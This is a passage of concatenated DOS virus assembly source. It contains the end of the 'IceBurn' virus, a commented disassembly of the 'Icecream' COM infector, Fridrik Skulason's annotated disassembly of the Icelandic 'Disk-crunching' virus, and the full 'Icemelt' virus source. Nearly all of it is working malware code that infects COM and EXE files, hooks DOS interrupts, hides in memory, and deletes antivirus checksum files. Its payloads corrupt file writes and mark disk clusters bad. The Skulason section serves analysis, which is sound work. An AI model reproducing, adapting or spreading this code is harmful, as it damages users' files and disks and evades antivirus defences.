lds ax,dword ptr old_24_off ; restore shitty DOS error handler
mov es:[24h*4],ax
mov es:[24h*4+2],ds
ret
do_exe:
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
jnz close
cmp byte ptr exe_header[18h],52h ; pklite'd?
jz exe_ok
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
jge close
exe_ok:
push bx
mov ah,2ch ; grab a random number
int 21h
mov word ptr exe_header[12h],dx ; mark that it's us
mov is_exe,1
les ax,dword ptr exe_header+14h ; Save old entry point
mov word ptr ds:exe_jump, ax
mov word ptr ds:exe_jump+2, es
push cs
pop es
call offset_end
push dx ax ; save file size DX:AX
mov bx, word ptr exe_header+8h ; calc. new entry point
mov cl,4 ; *16
shl bx,cl ; ^by shifting one byte
sub ax,bx ; get actual file size-header
sbb dx,0
mov cx,10h ; divide AX/CX rDX
div cx
mov word ptr exe_header+14h,dx
mov word ptr exe_header+16h,ax
mov rel_off,dx
pop ax ; AX:DX file size
pop dx
pop bx
mov cx,virus_size+10h ; calc. new size
adc ax,cx
mov cl,9 ; calc new alloc (512)
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax ; ax=size+virus
and ah,1
mov word ptr exe_header+4h,dx
mov word ptr exe_header+2h,ax
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor and
push di ; encrypted code (at heap)
mov cx,virus_size ; CX=virus size
mov dx,rel_off ; DX=offset decryptor will run from
mov al,00001010b ; jmps,no anti-tbscan,garbage, use CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
mov cx,18h ; write fiXed header
lea dx,exe_header
mov ah,40h
int 21h
jmp close
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; set file ptr
offset_zero: ; self explanitory
xor al,al
jmp set_fp
offset_end:
mov al,02h
set_fp:
mov ah,42h
xor cx,cx
xor dx,dx
int 21h
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Kill those darned MSAV and CPAV filez..
;
kill_chklst:
mov di,2 ; counter for loop
lea dx,first_2die ; first fname to kill
kill_loop:
mov ax,4301h ; reset attribs
xor cx,cx
int 21h
mov ah,41h ; delete phile
int 21h
lea dx,last_2die ; second fname to kill
dec di
jnz kill_loop
ret
first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum
last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; new 21h
new21:
pushf
cmp ax,signal ; be it us?
jnz not_us ; richtig..
cmp dx,vsafe_word
jnz not_us
cmp bl,special
jnz not_us
xor si,si
mov di,4559h
jmp jmp_org
not_us:
cmp cs:activate,0 ; time to activate?
jz nchk
cmp ah,40h ; write to phile?
jnz jmp_org
xor dx,dx ; phuck up address..
nchk: cmp ax,4b00h ; execute phile?
jnz jmp_org
push ax bx cx di dx si ds es bp dx
mov ah,2ch ; grab random for cryptor
int 21h
mov byte ptr cs:xor_val,dl
pop dx
call crypt_res
call infect_file
call crypt_res
pop bp es ds si dx di cx bx ax
jmp_org:
popf
db 0eah ; jump far XXXX:XXXX
old21 dd 0
new_24: ; critical error handler
mov al,3 ; prompts suck, return fail
iret
activate db 0
txt_ptr dw offset credits
credits db '[IceBurn, by ûirogen]'
credit_end:
new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
rel_off dw 0
exe_header:
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
heap:
db 16h dup(0) ; remaining exe header space
old_24_off dw 0 ; old int24h vector
old_24_seg dw 0
vend:
cseg ends
end start
@@ -0,0 +1,259 @@
;Icecream Virus by the TridenT virus research group.
;This is a simple direct-action com virus that uses one of
;4 encryption algorithms to encrypt itself each time it infects a file.
;It will infect one .COM file in the current directory every time it is
;executed. It marks infections with the time stamp.
;Disassembly by Black Wolf
.model tiny
.code
org 100h
start:
db 0e9h,0ch,0 ;jmp Virus_Entry
Author_Name db 'John Tardy'
db 0E2h,0FAh
Virus_Entry:
push ax
call Get_Offset
Get_Offset:
pop ax
sub ax,offset Get_Offset
db 89h,0c5h ;mov bp,ax
lea si,[bp+Storage]
mov di,100h ;Restore file
movsw
movsb
mov ah,1Ah
mov dx,0f900h
int 21h ;Set DTA
mov ah,4Eh
FindFirstNext:
lea dx,[bp+ComMask]
xor cx,cx
int 21h ;Find File
jnc InfectFile
Restore_DTA:
mov ah,1Ah
mov dx,80h
int 21h ;Set DTA to default
mov bx,offset start
pop ax ;Return to host
push bx
retn
InfectFile:
mov ax,4300h
mov dx,0f91eh
int 21h ;Get file attribs
push cx ;save 'em
mov ax,4301h
xor cx,cx
int 21h ;Set them to 0
mov ax,3D02h
int 21h ;Open file
mov bx,5700h
xchg ax,bx
int 21h ;Get file time
push cx
push dx ;save it
and cx,1Fh
cmp cx,1 ;check for infection
jne ContinueInfection
db 0e9h,69h,0 ;jmp DoneInfect
ContinueInfection:
mov ah,3Fh
lea dx,[bp+Storage]
mov cx,3
int 21h ;Read in first 3 bytes
mov ax,cs:[Storage+bp]
cmp ax,4D5Ah ;Is it an EXE?
je DoneInfect
cmp ax,5A4Dh
je DoneInfect ;Other EXE signature?
pop dx
pop cx
and cx,0FFE0h ;Change stored time values
or cx,1 ;to mark infection
push cx
push dx
mov ax,4202h ;Go to the end of the file
call Move_FP
sub ax,3
mov cs:[JumpSize+bp],ax ;Save jump size
add ax,10Fh ;Save encryption starting
mov word ptr [bp+EncPtr1+1],ax ;point....
mov word ptr [bp+EncPtr2+1],ax
mov word ptr [bp+EncPtr3+1],ax
mov word ptr [bp+EncPtr4+1],ax
call SetupEncryption ;Encrypt virus
mov ah,40h
mov dx,0fa00h
mov cx,1F5h
int 21h ;Write virus to file
mov ax,4200h
call Move_FP ;Go to the beginning of file
mov ah,40h
lea dx,[bp+JumpBytes]
mov cx,3
int 21h ;Write in jump
call FinishFile
jmp Restore_DTA
DoneInfect:
call FinishFile
mov ah,4Fh
jmp FindFirstNext
Move_FP:
xor cx,cx
xor dx,dx
int 21h
ret
FinishFile:
pop si dx cx
mov ax,5701h ;Reset file time/date stamp
int 21h ;(or mark infection)
mov ah,3Eh
int 21h ;Close new host file
mov ax,4301h
pop cx
mov dx,0fc1eh
int 21h ;Restore old attributes
push si
retn
Message db ' I scream, you scream, we both '
db 'scream for an ice-cream! '
SetupEncryption:
xor byte ptr [bp+10Dh],2
xor ax,ax
mov es,ax
mov ax,es:[46ch] ;Get random number
push cs
pop es
push ax
and ax,7FFh
add ax,1E9h
mov word ptr [bp+EncSize1+1],ax
mov word ptr [bp+EncSize2+1],ax
mov word ptr [bp+EncSize3+1],ax
mov word ptr [bp+EncSize4+1],ax
pop ax
push ax
and ax,3
shl ax,1
mov si,ax
mov ax,[bp+si+EncData1]
add ax,bp
mov si,ax
lea di,[bp+103h]
movsw
movsw
movsw
movsw ;Copy Encryption Algorithm
pop ax
stosb
movsb
mov dl,al
lea si,[bp+103h]
mov di,0fa00h
mov cx,0Ch
rep movsb
lea si,[bp+10Fh]
mov cx,1E9h
EncryptVirus:
lodsb
db 30h,0d0h ;xor al,dl
stosb
loop EncryptVirus
cmp dl,0
je KeyWasZero
retn
KeyWasZero: ;If key is zero, increase
mov si,offset AuthorName ;jump size and place name
mov di,0fa00h ;at beginning....
mov cx,0Ah
rep movsb
mov ax,cs:[JumpSize+bp]
add ax,0Ch
mov cs:[JumpSize+bp],ax
retn
db '[TridenT]'
EncData1 dw 02beh
EncData2 dw 02c7h
EncData3 dw 02d0h
EncData4 dw 02d9h
Encryptions:
;------------------------------------------------------------
EncPtr1:
mov si,0
EncSize1:
mov cx,0
xor byte ptr [si],46h
;------------------------------------------------------------
EncPtr2:
mov di,0
EncSize2:
mov cx,0
xor byte ptr [di],47h
;------------------------------------------------------------
EncSize3:
mov cx,0
EncPtr3:
mov si,0
xor byte ptr [si],46h
;------------------------------------------------------------
EncSize4:
mov cx,0
EncPtr4:
mov di,0
xor byte ptr [di],47h
;------------------------------------------------------------
AuthorName db 'John Tardy'
JumpBytes db 0E9h
JumpSize dw 0
ComMask db '*.CoM',0
Storage dw 20CDh
db 21h
end start
@@ -0,0 +1,554 @@
; THE ICELANDIC "DISK-CRUNCHING" VIRUS
;
; Another possible name for this virus might be "One-in-ten", since
; it tries to infect every tenth program run. The Icelandic name for
; this virus ("Diskaetuvirus") translates to "Disk-eating virus"
;
; It was first located at one site in mid-June '89. It has since then
; been found at a few other places, but is quite rare yet. So far it
; does not seem to have spread to any other country.
;
; Disassembly done in June/July '89.
;
; The author of this program is unknown, but it appears to be of
; Icelandic origin.
;
; All comments in this file were added by Fridrik Skulason,
; University of Iceland/Computing Services.
;
; INTERNET: frisk@rhi.hi.is
; UUCP: ...mcvax!hafro!rhi!frisk
; BIX: FRISK
;
; To anyone who obtains this file - please be careful with it, I
; would not like to see this virus be distributed too much. The code
; is very clear, and the virus is quite well written. It would be VERY
; easy to modify it to do something really harmful.
;
; A short description of the virus:
;
; It only infects .EXE files. Infected files grow by 656 to 671
; bytes, and the length of the infected file MOD 16 will always be 0.
; The virus attaches itself to the end of the programs it infects.
;
; When an infected file is run, the virus copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash.
;
; The virus does nothing if some other program has hooked INT 13
; before it is run. This is probably done to avoid detection by
; protection programs, but it also means that many ordinary
; programs like SideKick and disk cache software will disable it.
; Even the PRINT command will disable the virus. This reduces the
; spread of the virus, but also greatly reduces the possibility that
; the virus will be detected.
;
; The virus will hook INT 21H and when function 4B (EXEC) is called
; it sometimes will infect the program being run. It will check every
; tenth program that is run for infection, and if it is not already
; infected, it will be.
;
; The virus will remove the Read-Only attribute before trying to
; infect programs.
;
; Infected files can be easily recognized, since they always end in
; 4418,5F19.
;
; To check for system infection, a byte at 0:37F is used - if it
; contains FF the virus is installed in memory.
;
; This virus is slightly harmful, but does no serious damage.
; On floppy-only, or machines with 10Mbyte hard disks it will do
; no damage at all, but on machines with larger hard disks it will
; select one unused entry in the FAT table, and mark it as bad, when it
; infects a file. Since the virus only modifies the first copy of the
; FAT, a quick fix is simply to copy the second table over the first.
; This is the only "mistake" I have found in this virus. It appears
; to be very well written - What a shame the programmer did not use
; his abilities for something more constructive.
;
; This file was created in the following way: I wrote a small program,
; that did nothing but write "Hello world!" and ran it several times,
; until it became infected. I then diassembled the program, changed
; it into an .ASM file, and worked on it until this file, when
; assembled, produced the same file as the original infected one.
;
; (Or almost the same - the checksum in the header is different).
;
VIRSIZ EQU 128
ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING
;
; This is the original program.
;
_TEXT1 SEGMENT PARA PUBLIC 'CODE'
_START DB 0b4H,09H
PUSH CS
POP DS
MOV DX,OFFSET STRING
INT 21H
MOV AX,4C00H
INT 21H
STRING DB "Hello world!",0dh,0ah,"$"
_TEXT1 ENDS
_TEXT SEGMENT PARA PUBLIC 'CODE'
;
; The virus is basically divided in three parts.
;
; 1. The main program - run when an infected program is run.
; It will check if the system is already infected, and if not
; it will install the virus.
;
; 2. The new INT 21 handler. It will look for EXEC calls, and
; (sometimes) infect the program being run.
;
; 3. The damage routine. It will select one unused cluster and mark it
; as bad.
;
VIRUS PROC FAR
;
; This is a fake MCB
;
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
;
; The virus starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
LABIA: SUB SP,4
PUSH BP
MOV BP,SP
PUSH AX
MOV AX,ES
;
; Put the the original CS on the stack. The ADD AX,data instruction
; is modified by the virus when it infects other programs.
;
DB 05H
ORG_CS DW 0010H
MOV [BP+4],AX
;
; Put the the original IP on the stack. This MOV [BP+2],data instruction
; is modified by the virus when it infects other programs.
;
DB 0C7H,46H,02H
ORG_IP DW 0000H
;
; Save all registers that are modified.
;
PUSH ES
PUSH DS
PUSH BX
PUSH CX
PUSH SI
PUSH DI
;
; Check if already installed. Quit if so.
;
XOR AX,AX
MOV ES,AX
CMP ES:[37FH],BYTE PTR 0FFH
JNE L1
;
; Restore all registers and return to the original program.
;
EXIT: POP DI
POP SI
POP CX
POP BX
POP DS
POP ES
POP AX
POP BP
RET
;
; Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some
; program is monitoring int 13, and quit.
;
L1: MOV AX,ES:[4EH]
CMP AX,0070H
JE L2
CMP AX,0F000H
JNE EXIT
;
; Set the installation flag, so infected programs run later will
; recognize the infection.
;
L2: MOV ES:[37FH],BYTE PTR 0FFH
;
; The virus tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; It looks rather weird, but it seems to work.
;
MOV AH,52H
INT 21H
MOV AX,ES:[BX-2]
MOV ES,AX
ADD AX,ES:[0003]
INC AX
INC AX
MOV CS:[0001],AX
;
; Next, the virus modifies the memory block of the infected program.
; It is made smaller, and no longer the last block.
;
MOV BX,DS
DEC BX
MOV DS,BX
MOV AL,'M'
MOV DS:[0000],AL
MOV AX,DS:[0003]
SUB AX,VIRSIZ
MOV DS:[0003],AX
ADD BX,AX
INC BX
;
; Then the virus moves itself to the new block. For some reason 2000
; bytes are transferred, when 651 would be enough. Maybe the author just
; wanted to leave room for future expansions.
;
MOV ES,BX
XOR SI,SI
XOR DI,DI
PUSH CS
POP DS
MOV CX,2000
CLD
REP MOVSB
;
; The virus then transfers control to the new copy of itself.
;
PUSH ES
MOV AX,OFFSET L3
PUSH AX
RET
;
; The main program modifies INT 21 next and finally returns to the
; original program. The original INT 21 vector is stored inside the
; program so a JMP [OLD INT21] instruction can be used.
;
L3: XOR AX,AX
MOV ES,AX
MOV AX,ES:[0084H]
MOV CS:[OLD21],AX
MOV AX,ES:[0086H]
MOV CS:[OLD21+2],AX
MOV AX,CS
MOV ES:[0086H],AX
MOV AX,OFFSET NEW21
MOV ES:[0084H],AX
JMP EXIT
VIRUS ENDP
;
; This is the INT 21 replacement. It only does something in the case
; of an EXEC call.
;
NEW21 PROC FAR
CMP AH,4BH
JE L5
L4: DB 0EAH
OLD21 DW 0,0
;
; Only attack every tenth program run.
;
L5: DEC CS:[COUNTER]
JNE L4
MOV CS:[COUNTER],10
;
; Save all affected registers.
;
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DS
;
; Search for the file name extension ...
;
MOV BX,DX
L6: INC BX
CMP BYTE PTR [BX],'.'
JE L8
CMP BYTE PTR [BX],0
JNE L6
;
; ... and quit unless it starts with "EX".
;
L7: POP DS
POP SI
POP DX
POP CX
POP BX
POP AX
JMP L4
L8: INC BX
CMP WORD PTR [BX],5845H
JNE L7
;
; When an .EXE file is found, the virus starts by turning off
; the read-only attribute. The read-only attribute is not restored
; when the file has been infected.
;
MOV AX,4300H ; Get attribute
INT 21H
JC L7
MOV AX,4301H ; Set attribute
AND CX,0FEH
INT 21H
JC L7
;
; Next, the file is examined to see if it is already infected.
; The signature (4418 5F19) is stored in the last two words.
;
MOV AX,3D02H ; Open / write access
INT 21H
JC L7
MOV BX,AX ; file handle in BX
PUSH CS ; now DS is no longer needed
POP DS
;
; The header of the file is read in at [ID+8]. The virus then
; modifies itself, according to the information stored in the
; header. (The original CS and IP addressed are stored).
;
MOV DX,OFFSET ID+8
MOV CX,1CH
MOV AH,3FH
INT 21H
JC L9
MOV AX,DS:ID[1CH]
MOV DS:[ORG_IP],AX
MOV AX,DS:ID[1EH]
ADD AX,10H
MOV DS:[ORG_CS],AX
;
; Next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. They are compared to the signature,
; and if equal nothing happens.
;
MOV AX,4202H
MOV CX,-1
MOV DX,-4
INT 21H
JC L9
ADD AX,4
MOV DS:[LEN_LO],AX
JNC L8A
INC DX
L8A: MOV DS:[LEN_HI],DX
MOV AH,3FH
MOV CX,4
MOV DX,OFFSET ID+4
INT 21H
JNC L11
L9: MOV AH,3EH
INT 21H
L10: JMP L7
;
; Compare to 4418,5F19
;
L11: MOV SI,OFFSET ID+4
MOV AX,[SI]
CMP AX,4418H
JNE L12
MOV AX,[SI+2]
CMP AX,5F19H
JE L9
;
; The file is not infected, so the next thing the virus does is
; infecting it. First it is padded so the length becomes a multiple
; of 16 bytes. Tis is probably done so the virus code can start at a
; paragraph boundary.
;
L12: MOV AX,DS:[LEN_LO]
AND AX,0FH
JZ L13
MOV CX,16
SUB CX,AX
ADD DS:[LEN_LO],CX
JNC L12A
INC DS:[LEN_HI]
L12A: MOV AH,40H
INT 21H
JC L9
;
; Next the main body of the virus is written to the end.
;
L13: XOR DX,DX
MOV CX,OFFSET ID + 4
MOV AH,40H
INT 21H
JC L9
;
; Next the .EXE file header is modified:
;
; First modify initial IP
;
MOV AX,OFFSET LABIA
MOV DS:ID[1CH],AX
;
; Modify starting CS = Virus CS. It is computed as:
;
; (Original length of file+padding)/16 - Start of load module
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SUB AX,DS:ID[10H]
MOV DS:ID[1EH],AX
;
; Modify length mod 512
;
ADD DS:[LEN_LO],OFFSET ID+4
JNC L14
INC DS:[LEN_HI]
L14: MOV AX,DS:[LEN_LO]
AND AX,511
MOV DS:ID[0AH],AX
;
; Modify number of blocks used
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
ADD AX,511
JNC L14A
INC DX
L14A: MOV AL,AH
MOV AH,DL
SHR AX,1
MOV DS:ID[0CH],AX
;
; Finally the modified header is written back to the start of the
; file.
;
QQQ: MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
JC ENDIT
MOV AH,40H
MOV DX,OFFSET ID+8
MOV CX,1CH
INT 21H
JC ENDIT
MOV AH,3EH
INT 21H
JNC DAMAGE
;
; Infection is finished - close the file and execute it
;
ENDIT: JMP L9
NEW21 ENDP
;
; The damage routine. As before noted, it will only do damage on
; systems with a hard disk larger than 10Mbytes (With 16 bit FAT)
;
TEMP DW 0
;
; Start by getting some information about the current drive, like size
; of the FAT etc. Then compute the total number of sectors, and quit
; unless it is greater than 20740. This is probably done since larger
; disks use 16 bit FAT entries, instead of 12, which makes life easier
; for the programmer.
;
DAMAGE: MOV AH,32H
MOV DL,0
INT 21H
CMP AL,0FFH
JE L21
XOR AX,AX
MOV AL,[BX+4]
INC AX
MOV CS:[TEMP],AX
MOV AX,[BX+0DH]
DEC AX
MUL CS:[TEMP]
ADD AX,[BX+0BH]
JNC L15A
INC DX
L15A: CMP DX,0
JNE L15B
CMP AX,20740
JBE L21
;
; Check if DOS version is 4.0 or greater. If so, use a 16 bit value
; for numbers of sectors in the FAT, otherwise use a 8 bit entry.
L15B: PUSH BX
MOV AH,30H
INT 21H
POP BX
CMP AL,4
JAE L15
XOR AX,AX
MOV AL,[BX+0FH]
JMP SHORT L16
L15: MOV AX,[BX+0FH]
L16: ADD AX,[BX+6]
DEC AX
MOV DX,AX
MOV AL,[BX]
;
; Read the last sector in the first copy of the FAT. Search backwards
; for an unused entry. If none is found, read the sector before that
; and so on. If no free entry is found on the entire disk then quit.
;
L20: MOV CX,1
MOV BX,OFFSET ID+4
PUSH CS
POP DS
PUSH AX
PUSH DX
INT 25H
POPF
JC L21
POP DX
POP AX
MOV SI,510
L17: MOV BX,DS:[ID+4+SI]
CMP BX,0000
JE L19
CMP SI,0000
JE L18
DEC SI
DEC SI
JMP L17
L18: DEC DX
CMP DX,8
JE L21
JMP L20
;
; A free entry has been found. Make it look like a bad cluster, by
; changing the 0000 value to FFF7.
;
L19: MOV DS:[ID+4+SI],0FFF7H
MOV CX,1
MOV BX,OFFSET ID+4
INT 26H
POPF
L21: JMP L7
COUNTER DB 10
LEN_LO DW ?
LEN_HI DW ?
ID DW 4418H,5F19H ; The signature of the virus.
;
; A buffer, used for data from the file.
;
_TEXT ENDS
END LABIA

@@ -0,0 +1,409 @@
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
; Icemelt - (c)1995 ûirogen - Using ûiCE v0.2á
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
;
; þ Infects COM and EXE when executed.
; þ COM Infection marker: fourth byte is 0
; þ EXE infection marker: Checksum in header not equal to 0.
; þ Time/Date do not change
; þ Read-only and hidden files will be infected, and attributes restored.
; þ Virus installs its own critical error handler
; þ Deletes MSAV and CPAV Checksum filez.
; þ Activates on the second of any month, at which time it will phuck
; up all file writes using INT 21h/func 40h.
; þ Does not use ViCE anti-tbscan. Has a second cryptor to thwart many
; TBSCAN flags. Does not use ViCE Garbage.
;
cseg segment
assume cs:cseg, ds:cseg, es:cseg, ss:cseg
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
special equ 11h
act_day equ 2
buf_size equ 170
vice_size equ 1602+buf_size
virus_size equ (offset vend-offset start)+VICE_SIZE
extrn _vice:near
org 0h
start:
push ds es
inc si
mov ax,1000h ; looks like legit. INT call..
add ax,signal-1000h ; are we memory resident?
mov dx,vsafe_word
mov bl,special
int 21h
call nx ; get relative offset
nx: pop bp
sub bp,offset nx
or si,si
jz no_install ; if carry then we are
call crypt ; decrypt the next few bytez
c_start:
mov cs:activate[bp],0
mov ah,2ah ; get date
int 21h
cmp dl,act_day ;
jnz no_act
mov cs:activate[bp],1
no_act:
mov ax,ds ; PSP segment
dec ax ; mcb below PSP m0n
mov ds,ax ; DS=MCB seg
cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain?
jnz no_install
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
mov es,word ptr ds: [12h] ; get high mem seg
push cs
pop ds
mov si,bp
mov cx,virus_size/2+1
xor di,di
rep movsw ; copy code to new seg
xor ax,ax
mov ds,ax ; null ds
push ds
lds ax,ds: [21h*4] ; get 21h vector
mov es: word ptr old21+2,ds ; save S:O
mov es: word ptr old21,ax
pop ds
mov ds: [21h*4+2],es ; new int 21h seg
mov ds: [21h*4],offset new21 ; new offset
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem
c_end:
no_install:
pop es ds ; restore ES DS
cmp cs:is_exe[bp],1
jz exe_return
lea si,org_bytes[bp] ; com return
mov di,0100h ; -restore first 4 bytes
mov cx,2
rep movsw
mov ax,100h ; jump back to 100h
push ax
_ret:ret
exe_return:
mov cx,ds ; calc. real CS
add cx,10h
add word ptr cs:[exe_jump+2+bp],cx
int 3 ; fix prefetch
db 0eah
exe_jump dd 0
is_exe db 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Crypts portion of virus
;
crypt_res:
xor bp,bp
crypt:
lea si,c_start
add si,bp
mov cx,(offset c_end-offset c_start)
add byte ptr cs:xor_op[bp],10h ; self modifying code...
int 3 ; fix prefetch
l1:
db 2Eh
xor_op db 70h,34h ; tbscan won't flag this bitch
xor_val db 0
inc si
loop l1
sub byte ptr cs:xor_op[bp],10h ; unmodify code
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Infection routine - called from INT 21h handler.
; DS:DX=fname
;
infect_file:
push dx
pop si
push ds
xor ax,ax ; null ES
mov es,ax
lds ax,es:[24h*4] ; get INT 24h vector
mov cs:old_24_off,ax ; save it
mov cs:old_24_seg,ds
mov es:[24h*4+2],cs ; install our handler
mov es:[24h*4],offset new_24
pop ds
push es ; we'll need it later
push cs
pop es
mov ax,4300h ; get phile attribute
int 21h
mov ax,4301h ; null attribs
push ax cx ; save AX-call/CX-attrib
xor cx,cx
int 21h
mov ax,3d02h ; open the file
int 21h
jc dont_do
mov bx,ax ; get handle
push cs
pop ds
call kill_chklst
mov ah,3fh ; Read first bytes of file
mov cx,20h
lea dx,org_bytes
int 21h
cmp byte ptr org_bytes,'M' ; single byte avoids heuristic flag
jz do_exe
cmp byte ptr org_bytes+3,0
jz close
mov is_exe,0
mov ax,5700h ; get time/date
int 21h
push cx dx
call offset_end
push ax ; AX=end of file
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor/
push di ; encrypted code. (at heap)
mov cx,virus_size ; CX=virus size
mov dx,ax ; DX=EOF offset
add dx,100h ; DX=offset decryptor will run from
mov al,00000001b ; no garbage, no CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
pop ax ; restore COM file size
sub ax,3 ; calculate jmp offset
mov word ptr new_jmp+1,ax
lea dx,new_jmp
mov cx,4
mov ah,40h
int 21h
pop dx cx ; pop date/time
mov ax,5701h ; restore the mother fuckers
int 21h
close:
pop cx ax ; restore attrib
int 21h
mov ah,3eh
int 21h
dont_do:
pop es ; ES=0
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
mov es:[24h*4],ax
mov es:[24h*4+2],ds
ret
do_exe:
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
jnz close
cmp byte ptr exe_header[18h],52h ; pklite'd?
jz exe_ok
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
jge close
exe_ok:
push bx
mov ah,2ch ; grab a random number
int 21h
mov word ptr exe_header[12h],dx ; mark that it's us
mov is_exe,1
les ax,dword ptr exe_header+14h ; Save old entry point
mov word ptr ds:exe_jump, ax
mov word ptr ds:exe_jump+2, es
push cs
pop es
call offset_end
push dx ax ; save file size DX:AX
mov bx, word ptr exe_header+8h ; calc. new entry point
mov cl,4 ; *16
shl bx,cl ; ^by shifting one byte
sub ax,bx ; get actual file size-header
sbb dx,0
mov cx,10h ; divide AX/CX rDX
div cx
mov word ptr exe_header+14h,dx
mov word ptr exe_header+16h,ax
mov rel_off,dx
pop ax ; AX:DX file size
pop dx
pop bx
mov cx,virus_size+10h ; calc. new size
adc ax,cx
mov cl,9 ; calc new alloc (512)
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax ; ax=size+virus
and ah,1
mov word ptr exe_header+4h,dx
mov word ptr exe_header+2h,ax
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor and
push di ; encrypted code (at heap)
mov cx,virus_size ; CX=virus size
mov dx,rel_off ; DX=offset decryptor will run from
mov al,00000000b ; no garbage, use CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
mov cx,18h ; write fiXed header
lea dx,exe_header
mov ah,40h
int 21h
jmp close
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; set file ptr
offset_zero: ; self explanitory
xor al,al
jmp set_fp
offset_end:
mov al,02h
set_fp:
mov ah,42h
xor cx,cx
xor dx,dx
int 21h
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Kill those darned MSAV and CPAV filez..
;
kill_chklst:
mov di,2 ; counter for loop
lea dx,first_2die ; first fname to kill
kill_loop:
mov ax,4301h ; reset attribs
xor cx,cx
int 21h
mov ah,41h ; delete phile
int 21h
lea dx,last_2die ; second fname to kill
dec di
jnz kill_loop
ret
first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum
last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; new 21h
new21:
pushf
cmp ax,signal ; be it us?
jnz not_us ; richtig..
cmp dx,vsafe_word
jnz not_us
cmp bl,special
jnz not_us
xor si,si
mov di,4559h
jmp jmp_org
not_us:
cmp cs:activate,0 ; time to activate?
jz nchk
cmp ah,40h ; write to phile?
jnz jmp_org
lea dx,credits ; phuck up address..
push cs
pop ds
nchk: cmp ax,4b00h ; execute phile?
jnz jmp_org
push ax bx cx di dx si ds es bp dx
mov ah,2ch ; grab random for cryptor
int 21h
mov byte ptr cs:xor_val,dl
pop dx
call crypt_res
call infect_file
call crypt_res
pop bp es ds si dx di cx bx ax
jmp_org:
popf
db 0eah ; jump far XXXX:XXXX
old21 dd 0
